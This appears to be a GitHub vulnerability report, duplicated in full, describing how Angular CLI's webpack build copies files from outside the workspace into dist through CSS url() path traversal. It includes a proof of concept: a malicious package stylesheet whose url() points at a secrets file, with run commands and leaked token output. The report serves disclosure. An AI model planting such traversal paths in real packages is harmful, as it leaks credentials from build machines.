Command
build
Is this a regression?
The previous version in which this bug was not present was
No response
Description
Report description
Angular CLI webpack browser builds copy external local files into dist via CSS url()
The problem
Please describe the technical details of the vulnerability
1. technical details
Angular CLI's webpack browser build pipeline registers PostcssCliResources for stylesheet processing:
plugins: [
PostcssCliResources({
baseHref: buildOptions.baseHref,
deployUrl: buildOptions.deployUrl,
resourcesOutputPath: buildOptions.resourcesOutputPath,
loader,
filename: assetNameTemplate,
emitFile: buildOptions.platform !== 'server',
extracted,
}),
...extraPostcssPlugins,
autoprefixer({
The same PostCSS resource handler is applied to the stylesheet loaders used by browser builds:
const globalStyleLoaders: RuleSetUseItem[] = [
{
loader: MiniCssExtractPlugin.loader,
},
{
loader: require.resolve('css-loader'),
options: {
url: false,
sourceMap: !!cssSourceMap,
importLoaders: 1,
},
},
{
loader: postCssLoaderPath,
options: {
implementation: postCss,
postcssOptions: postcssOptionsCreator(false, true),
sourceMap: !!cssSourceMap,
},
},
];
Inside PostcssCliResources, a relative url(...) is parsed, resolved on disk, read, and emitted into the output:
const { pathname, hash, search } = url.parse(inputUrl.replace(/\\/g, '/'));
const result = await resolve(pathname as string, context, resolver);
return new Promise<string>((resolve, reject) => {
loader.fs.readFile(result, (err, content) => {
if (err) {
reject(err);
return;
}
let outputPath = interpolateName(
{ resourcePath: result } as Parameters<typeof interpolateName>[0],
filename(result),
{
content,
context: loader.context || loader.rootContext,
},
).replace(/\\|\//g, '-');
loader.addDependency(result);
if (emitFile) {
loader.emitFile(outputPath, content!, undefined, { sourceFilename: result });
}
There is no check that the resolved file stays inside the Angular workspace or project root. As a result, a stylesheet can use a relative url(...) that escapes the workspace and points to an arbitrary readable local file. The file content is then copied into the browser build output as an emitted asset.
2. vulnerability reproduction
The attached PoC uses a realistic supply-chain style setup based on the current
local angular-cli repository code:
- it builds local package tarballs from the current worktree
- it creates a disposable Angular workspace that consumes those local tarballs
- the victim app imports a third-party stylesheet package
- that package contains a malicious relative
url(...)
Application stylesheet:
/* Realistic entry: the app imports a third-party theme package. */
@import 'brand-ui/dist/theme.css';
Malicious package stylesheet:
.release-banner {
background-image: url(../../../../build-secrets/release-token.txt);
background-repeat: no-repeat;
min-height: 2rem;
padding: 0.5rem;
}
The PoC is executed with:
cd ./work/angular-cli/webpack_css_test
./run-poc.sh
Observed result:
Victim app stylesheet import:
@import 'brand-ui/dist/theme.css';
Generated stylesheet evidence:
5: background-image: url('release-token.txt');
Leaked file in dist:
runtime/oss-docs-site/dist/oss-docs-site/release-token.txt
The generated stylesheet confirms that the escaping path was turned into a shipped asset reference:
.release-banner {
background-image: url('release-token.txt');
background-repeat: no-repeat;
}
The emitted file contains the local data read during the build:
# Simulated CI secret stored outside the Angular workspace
NPM_TOKEN=demo-release-token-should-never-ship
INTERNAL_REGISTRY=https://registry.example.internal/npm
This PoC intentionally does not include a control case. It demonstrates the
realistic impact path only: a successful webpack browser build that ships a
readable local file from outside the workspace into dist/.
Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so
An attacker who can introduce a malicious stylesheet dependency, or otherwise cause an Angular project to build attacker-controlled CSS with the webpack browser builder, can exploit this issue.
Successful exploitation lets the attacker copy readable local files from the build machine into the generated frontend artifacts. In practice, this exposes sensitive local files such as tokens or internal configuration files by embedding them into deployable static output.
webpack_css_test.tar.gz
Minimal Reproduction
webpack_css_test.tar.gz
Exception or Error
Your Environment
Anything else relevant?
No response
Command
build
Is this a regression?
The previous version in which this bug was not present was
No response
Description
Report description
Angular CLI webpack browser builds copy external local files into dist via CSS url()
The problem
Please describe the technical details of the vulnerability
1. technical details
Angular CLI's webpack browser build pipeline registers
PostcssCliResourcesfor stylesheet processing:The same PostCSS resource handler is applied to the stylesheet loaders used by browser builds:
Inside
PostcssCliResources, a relativeurl(...)is parsed, resolved on disk, read, and emitted into the output:There is no check that the resolved file stays inside the Angular workspace or project root. As a result, a stylesheet can use a relative
url(...)that escapes the workspace and points to an arbitrary readable local file. The file content is then copied into the browser build output as an emitted asset.2. vulnerability reproduction
The attached PoC uses a realistic supply-chain style setup based on the current
local
angular-clirepository code:url(...)Application stylesheet:
Malicious package stylesheet:
The PoC is executed with:
cd ./work/angular-cli/webpack_css_test ./run-poc.shObserved result:
The generated stylesheet confirms that the escaping path was turned into a shipped asset reference:
The emitted file contains the local data read during the build:
This PoC intentionally does not include a control case. It demonstrates the
realistic impact path only: a successful webpack browser build that ships a
readable local file from outside the workspace into
dist/.Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so
An attacker who can introduce a malicious stylesheet dependency, or otherwise cause an Angular project to build attacker-controlled CSS with the webpack browser builder, can exploit this issue.
Successful exploitation lets the attacker copy readable local files from the build machine into the generated frontend artifacts. In practice, this exposes sensitive local files such as tokens or internal configuration files by embedding them into deployable static output.
webpack_css_test.tar.gz
Minimal Reproduction
webpack_css_test.tar.gz
Exception or Error
Your Environment
Anything else relevant?
No response